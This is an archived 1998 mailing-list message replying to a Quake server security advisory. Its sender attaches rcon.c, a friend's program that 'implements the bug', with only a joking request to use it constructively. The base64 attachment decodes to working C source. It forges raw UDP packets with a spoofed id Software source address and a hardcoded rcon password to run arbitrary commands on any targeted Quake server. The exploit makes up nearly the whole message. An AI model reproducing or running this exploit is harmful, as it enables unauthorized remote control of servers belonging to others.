Re: RSI.0001.05-01-98.ALL.QUAKE_SERVER

From: Nick (ntoomeyat_private)
Date: Fri May 01 1998 - 17:03:45 PDT

Next message: N. Toomey: "quakeworld exploit revisited"

Previous message: Alan Cox: "Re: hole in turbolinux 1.2 default xinitrc"
Maybe in reply to: mea culpa: "RSI.0001.05-01-98.ALL.QUAKE_SERVER"
Next in thread: jtb: "Re: RSI.0001.05-01-98.ALL.QUAKE_SERVER"
Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

This is a multi-part message in MIME format.

------=_NextPart_000_0017_01BD753C.3F8AF200
Content-Type: text/plain;
        charset="US-ASCII"
Content-Transfer-Encoding: 7bit

in response to the earlier email, my friend wrote a program to implement the
bug.  Please use it only for constructive purposes :)


Nick
ntoomeyat_private


------=_NextPart_000_0017_01BD753C.3F8AF200
Content-Type: application/octet-stream;
        name="rcon.c"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
        filename="rcon.c"

LyogcmNvbi5jCiAgUXVha2UgIHdvcmxkIHJjb25fcGFzc3dvcmQgYnVnIGltcGxpbWVudGF0aW9u
IGJ5IEplZmYgUm9iZXJzb24sIDxqcm9iZXJzb25AY2hlc2FwZWFrZS5uZXQ+IChWYWxsYUgpCiAg
TGludXggMi4wLjMzIHNvdXJjZSwgd2lsbCBjb21waWxlIG9uIEJTRCBpZiB5b3UgbW9kaWZ5IHRo
ZSBpcCBoZWFkZXIgZXRjLgogIFBsZWFzZSBub3RlIHRoYXQgSSBkaWQgbm90IGRpc2NvdmVyIHRo
aXMsIEkgc2ltcGx5IHdyb3RlIHRoZSBjb2RlLgogIFRoYW5rcyB0byBOaWNrIFRvb21leSwgPG50
b29tZXlAY2hlc2FwZWFrZS5uZXQ+IChHcmlmdGVyKQoKICBCcmllZiBzdW1tYXJ5OgogICAgICBB
bnkgcmNvbiBjb21tYW5kIGNvbWluZyBmcm9tIHRoZSBpZHNvZnR3YXJlIHN1Ym5ldCAxOTIuMjQ2
LjQwIHdpdGggdGhlIHJjb24gcGFzc3dvcmQgb2YgdG1zIHdpbGwgYmUgYWNjZXB0ZWQgb24gYW55
IHNlcnZlci4gIFRoaXMgcHJvZ3JhbSBzaW1wbHkgc3Bvb2ZzIGEgcGFja2V0IGZyb20gdmFkZXIu
aWRzb2Z0d2FyZS5jb20gKHJhbmRvbSBwaWNrKSB0byB3aGF0ZXZlciBzZXJ2ZXIgeW91IGlkZW50
aWZ5LgoKICBVc2FnZToKCS4vcmNvbiBpcC9ob3N0ICJ3aGF0IHlvdSB3YW50IHRvIGRvIiBbcG9y
dF0KICBFeGFtcGxlOgoJLi9yY29uIHF1YWtlLmlkc29mdHdhcmUuY29tICJzYXkgVGhpcyBwcm9n
cmFtIHdvcmtzLCB0aGFua3MgSmVmZiIgMjc1MDAKICAgICAgICAgdGhlIHBvcnQgYXJndW1lbnQg
aXMgb3B0aW9uYWwsIHlvdSBtYXkgb21pdCBpdCBpZiB5b3UgbGlrZSBhbmQgaXQgd2lsbCBkZWZh
dWx0IHRvIDI3NTAwLgoqLwojaW5jbHVkZSA8c3RkaW8uaD4KI2luY2x1ZGUgPHN0ZGxpYi5oPgoj
aW5jbHVkZSA8dW5pc3RkLmg+CiNpbmNsdWRlIDxzdHJpbmcuaD4KI2luY2x1ZGUgPG5ldGRiLmg+
CiNpbmNsdWRlIDxuZXRpbmV0L2luLmg+CiNpbmNsdWRlIDxuZXRpbmV0L2lwLmg+CiNpbmNsdWRl
IDxuZXRpbmV0L3VkcC5oPgojaW5jbHVkZSA8YXJwYS9pbmV0Lmg+CiNpbmNsdWRlIDxzeXMvdHlw
ZXMuaD4KI2luY2x1ZGUgPHN5cy90aW1lLmg+CiNpbmNsdWRlIDxzeXMvc29ja2V0Lmg+ICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCgojZGVmaW5lIFNJUCAi
MTkyLjI0Ni40MC40MiIgLyogdmFkZXIuaWRzb2Z0d2FyZS5jb20gKi8KI2RlZmluZSBjb21tYW5k
ICL/////cmNvbiB0bXMgIgoKdV9sb25nIHJlc29sdmVfYWRkcmVzcyh1X2NoYXIgKmhvc3QpCnsK
CXN0cnVjdAlpbl9hZGRyCWFkZHI7CglzdHJ1Y3QJaG9zdGVudAkqaGU7CgoJaWYoKGFkZHIuc19h
ZGRyID0gaW5ldF9hZGRyKGhvc3QpKSA9PSAtMSkgewoJCWlmICghKGhlID0gZ2V0aG9zdGJ5bmFt
ZShob3N0KSkpIHsKCQkJcHJpbnRmKCJVbmtub3duIGFkZHJlc3M6ICVzXG4iLCBob3N0KTsgCgkJ
CWV4aXQoLTEpOwoJCX0KCQliY29weShoZS0+aF9hZGRyLCAoY2hhciAqKSZhZGRyLnNfYWRkciwg
aGUtPmhfbGVuZ3RoKTsKCX0KCXJldHVybihhZGRyLnNfYWRkcik7Cn0KaW50IG1haW4oaW50IGFy
Z2MsIGNoYXIgKiphcmd2KQp7CglpbnQJczsKCWludAlwb3J0PTI3NTAwOwoJY2hhcglidWZbNTEy
XTsKCXN0cnVjdAlzb2NrYWRkcl9pbiBkc3Q7CglzdHJ1Y3QJaXBoZHIgKmlwaD0oc3RydWN0IGlw
aGRyICopYnVmOwoJc3RydWN0CXVkcGhkciAqdWRwPShzdHJ1Y3QgdWRwaGRyICopKGJ1ZiArIDIw
KTsKCglpZiAoYXJnYzwzKSB7CgkJcHJpbnRmKCJ1c2FnZTpcbiIpOwoJCXByaW50ZigiXHQlcyBp
cCAiImNvbW1hbmQiIiA8cG9ydD5cbiIsIGFyZ3ZbMF0pOwoJCWV4aXQoLTEpOwkJCgl9CQoJaWYg
KGFyZ2M9PTQpIHBvcnQgPSBhdG9pKGFyZ3ZbM10pOwoJYnplcm8oYnVmLCBzaXplb2YoYnVmKSk7
CgliemVybygoY2hhciAqKSZkc3QsIHNpemVvZihkc3QpKTsKCglpcGgtPnZlcnNpb249NDsKCWlw
aC0+aWhsPTU7CglpcGgtPnRvcz0wOwoJaXBoLT50b3RfbGVuPWh0b25zKHNpemVvZihidWYpKTsK
CWlwaC0+aWQ9aHRvbnMoMTIzNCk7CglpcGgtPmZyYWdfb2ZmPTA7CglpcGgtPnR0bD0yNTU7Cglp
cGgtPnByb3RvY29sPTE3OwoKCWlwaC0+c2FkZHI9aW5ldF9hZGRyKFNJUCk7CglpcGgtPmRhZGRy
PXJlc29sdmVfYWRkcmVzcyhhcmd2WzFdKTsKCgl1ZHAtPnNvdXJjZT1odG9ucygxMjM0KTsKCXVk
cC0+ZGVzdD1odG9ucyhwb3J0KTsKCXVkcC0+bGVuPWh0b25zKHNpemVvZihidWYpIC0gMjApOwoK
CWRzdC5zaW5fZmFtaWx5PVBGX0lORVQ7Cglkc3Quc2luX2FkZHIuc19hZGRyPWlwaC0+ZGFkZHI7
Cglkc3Quc2luX3BvcnQ9aHRvbnMoMjc1MDApOwoKCXNwcmludGYoKGJ1ZiArIDI4KSwgIiVzJXNc
biIsIGNvbW1hbmQsIGFyZ3ZbMl0pOyAKCglpZiAoKHM9c29ja2V0KFBGX0lORVQsIFNPQ0tfUkFX
LCBJUFBST1RPX1JBVykpIDwgMCkgewoJCXBlcnJvcigic29ja2V0Iik7CgkJZXhpdCgtMSk7Cgl9
CgoJaWYgKChzZW5kdG8ocywgYnVmLCBzaXplb2YoYnVmKSwgMCwgKHN0cnVjdCBzb2NrYWRkciAq
KSZkc3QsIHNpemVvZihkc3QpKSkgPD0wKSB7CgkJcGVycm9yKCJzZW5kdG8iKTsKCQlleGl0KC0x
KTsKCX0KCWV4aXQoMSk7Cn0K

------=_NextPart_000_0017_01BD753C.3F8AF200--

Next message: N. Toomey: "quakeworld exploit revisited"
Previous message: Alan Cox: "Re: hole in turbolinux 1.2 default xinitrc"
Maybe in reply to: mea culpa: "RSI.0001.05-01-98.ALL.QUAKE_SERVER"
Next in thread: jtb: "Re: RSI.0001.05-01-98.ALL.QUAKE_SERVER"
Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 13:52:05 PDT